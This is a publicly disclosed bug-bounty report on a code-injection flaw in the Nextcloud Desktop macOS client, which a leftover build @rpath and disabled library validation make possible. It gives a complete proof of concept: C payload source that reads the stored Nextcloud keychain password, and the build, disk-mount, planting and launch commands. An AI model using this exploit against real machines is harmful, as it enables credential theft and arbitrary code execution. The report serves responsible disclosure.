HexBrain

Nextcloud · Report #3772818

Code injection allows unprivileged local attacker to execute arbitrary code in Nextcloud's OAuth/web renderer process

Validstatus
lowseverity
11upvotes
24 Oct 2026disclosed

How it was found

Summary

An attacker with standard user access on macOS can inject arbitrary code into Nextcloud Desktop Client's web renderer process (QtWebEngineProcess) - stealing credentials, intercepting OAuth tokens, and reading all synced files - without administrator privileges or a SIP bypass.

The vulnerability combines two weaknesses in Nextcloud v33.0.5:

Weakness 1: QtWebEngineProcess (the subprocess handling embedded web content and OAuth flows) ships with com.apple.security.cs.disable-library-validation. This entitlement explicitly turns off Apple's Library Validation, which normally rejects any dylib whose code signature does not match the app's Developer Team ID. The process also runs without App Sandbox, giving it full unsandboxed user-level access.

Weakness 2: The same binary embeds dead build-server paths (/Volumes/builds/39648/macos-39648-build/{arch}/lib) in its @rpath that dyld searches before the real app framework directory. macOS allows standard users to mount disk images at /Volumes/ without administrator privileges via hdiutil attach.

Combined exploit: An attacker mounts a crafted disk image at /Volumes/builds, plants a malicious dylib at the expected framework path inside it, and when QtWebEngineProcess starts, dyld finds the attacker's dylib first and loads it without any signature check - executing arbitrary code at standard user privilege level.

This is not a duplicate of CVE-2020-8140 or CVE-2024-37885. Both prior CVEs used DYLD_INSERT_LIBRARIES env vars on binaries lacking Hardened Runtime. This vulnerability uses a different entitlement (disable-library-validation, not allow-dyld-environment-variables), a different binary (QtWebEngineProcess, not the main binary), and a different injection mechanism (@rpath hijacking, not env var injection).

Trigger note: On macOS 15.5, the main Nextcloud app has a separate unrelated crash (mach_port_rendezvous sandbox entitlement gap) preventing Qt WebEngine from initializing. The PoC uses direct launch of QtWebEngineProcess (Step 4 Option A), which works on all macOS versions. On macOS 14, the full app flow (Option B) also works via the webflow login path.


Vulnerability Details

Affected Component

Binary:  Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/
         Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess
Version: Nextcloud Desktop Client 33.0.5 (macOS, universal binary x86_64 + arm64)
Team ID: NKUJUXUJ3B

Entitlement Evidence

codesign -d --entitlements :- \
  /Applications/Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/\
  Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess

Output:

<key>com.apple.security.cs.disable-library-validation</key><true/>
<key>com.apple.security.cs.allow-jit</key><true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/>
<key>com.apple.security.cs.disable-executable-page-protection</key><true/>

QtWebEngineProcess has Hardened Runtime enabled (flags=0x10000) - which normally enforces Library Validation - but disable-library-validation explicitly overrides it. The process has no App Sandbox entitlement, giving it full unsandboxed access to the user's home directory, keychain, and file system.

Compare with the correctly-hardened main binary:

codesign -d --entitlements :- /Applications/Nextcloud.app/Contents/MacOS/Nextcloud
# com.apple.security.app-sandbox = true      ← sandboxed
# com.apple.security.network.client = true
# (no disable-library-validation)            ← Library Validation intact

Dead @rpath Evidence

# Extract arm64 slice and list rpaths in order
lipo -extract arm64 QtWebEngineProcess -output /tmp/qtwe_arm64
otool -l /tmp/qtwe_arm64 | grep -A3 LC_RPATH | grep "path "

Output (arm64 slice - rpath search order):

1. /Volumes/builds/39648/macos-39648-build/arm64/macos-clang-arm64/lib  ← SEARCHED FIRST
2. @loader_path/../../../../../../../  →  resolves to /Applications/Nextcloud.app/Contents/Frameworks
3. @loader_path/../../../../lib        →  resolves inside app bundle

/Volumes/builds/39648/... is the build server's local path, leaked into the production binary. dyld searches it before the real app Frameworks directory. macOS users can mount a disk image at this exact path without admin.


Steps to Reproduce

Environment: macOS 14 or 15, Nextcloud Desktop Client 33.0.5 installed, standard user (no admin).

Step 1 - Build the malicious dylib (re-export shim)

The payload must be built as a re-export shim - it forwards all real QtWebEngineCore symbols through to the legitimate library while injecting a constructor. A plain dylib without re-export fails at symbol resolution before the constructor fires.

/* payload.c */
#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>
#include <unistd.h>

__attribute__((constructor(101)))
static void pwned(void) {
    syslog(LOG_CRIT,
        "[NC-INJECT] code execution in %s pid=%d uid=%d",
        getprogname(), getpid(), getuid());

    /* Write proof */
    FILE *f = fopen("/tmp/nc_injection_proof.txt", "w");
    if (f) {
        fprintf(f, "INJECTED: %s  PID=%d  UID=%d\n",
                getprogname(), getpid(), getuid());
        fclose(f);
    }

    /* Keychain dump - no dialog shown, same user context */
    system("security find-generic-password -wa 'Nextcloud' "
           ">> /tmp/nc_injection_proof.txt 2>&1");

    /* Visual PoC */
    system("open -a Calculator");
}
REAL="/Applications/Nextcloud.app/Contents/Frameworks/\
QtWebEngineCore.framework/Versions/A/QtWebEngineCore"
FWDIR="/Applications/Nextcloud.app/Contents/Frameworks"

# Build re-export shim - unique install name avoids circular reference
clang -dynamiclib -arch arm64 \
  -install_name "nc_inject.dylib" \
  -Wl,-reexport_library,"$REAL" \
  -Wl,-rpath,"$FWDIR" \
  -o /tmp/nc_payload.dylib \
  payload.c

# No code signing required - disable-library-validation skips Team ID check

Step 2 - Mount disk image at the dead @rpath (no admin)

hdiutil create -size 50m -fs HFS+ -volname "builds" /tmp/exploit.dmg
hdiutil attach /tmp/exploit.dmg
# macOS mounts automatically at /Volumes/builds
# hdiutil attach requires NO administrator privileges

Step 3 - Plant payload at exact dyld search path

# arm64 (Apple Silicon / M1/M2/M3)
mkdir -p "/Volumes/builds/39648/macos-39648-build/arm64/\
macos-clang-arm64/lib/QtWebEngineCore.framework/Versions/A/"

cp /tmp/nc_payload.dylib \
  "/Volumes/builds/39648/macos-39648-build/arm64/\
macos-clang-arm64/lib/QtWebEngineCore.framework/Versions/A/QtWebEngineCore"

# x86_64 (Intel)
mkdir -p "/Volumes/builds/39648/macos-39648-build/x86_64/\
macos-64-clang/lib/QtWebEngineCore.framework/Versions/A/"

cp /tmp/nc_payload.dylib \
  "/Volumes/builds/39648/macos-39648-build/x86_64/\
macos-64-clang/lib/QtWebEngineCore.framework/Versions/A/QtWebEngineCore"

Step 4 - Trigger QtWebEngineProcess

Option A - Direct launch (works on any macOS version, no server needed):

/Applications/Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/\
Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess &

Option B - Via app (macOS 14, legacy Nextcloud server): Open Nextcloud Desktop → Log in → Enter URL of a Nextcloud ≤15 server (uses webflow/embedded login). The app spawns QtWebEngineProcess to render the login page.

When QtWebEngineProcess starts, dyld resolves @rpath/QtWebEngineCore.framework/Versions/A/QtWebEngineCore:

  • Checks /Volumes/builds/.../QtWebEngineCore.framework/Versions/A/QtWebEngineCore → finds payload (first @rpath)
  • disable-library-validation is set → Team ID check skipped
  • Payload constructor fires before main() - arbitrary code executes

Step 5 - Verify injection

cat /tmp/nc_injection_proof.txt

Expected:

INJECTED: QtWebEngineProcess  PID=22223  UID=502
<Nextcloud keychain password if account configured>

Calculator opens as visual confirmation of arbitrary code execution.


Impact

An attacker running as the same macOS user can silently steal all Nextcloud credentials and access every synced file - no admin required, no permission prompts triggered.

  • Credential theft: Code runs inside the process handling OAuth login and embedded web content. Intercepts credentials as typed, reads stored Nextcloud passwords directly from keychain (no dialog - same user session), exfiltrates OAuth tokens in-flight.

  • File access: QtWebEngineProcess runs without App Sandbox. Full read/write to ~/Library/Application Support/Nextcloud/ (sync database, account configs, E2EE key material) and all files synced to/from Nextcloud.

  • Persistence: Installs LaunchAgent, modifies sync config, or injects malicious files into the synced folder for server-side propagation.

  • Scope: Affects all macOS users running Nextcloud Desktop 33.0.5. Unsigned payload requires zero infrastructure - no signing certificate, no Apple developer account.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original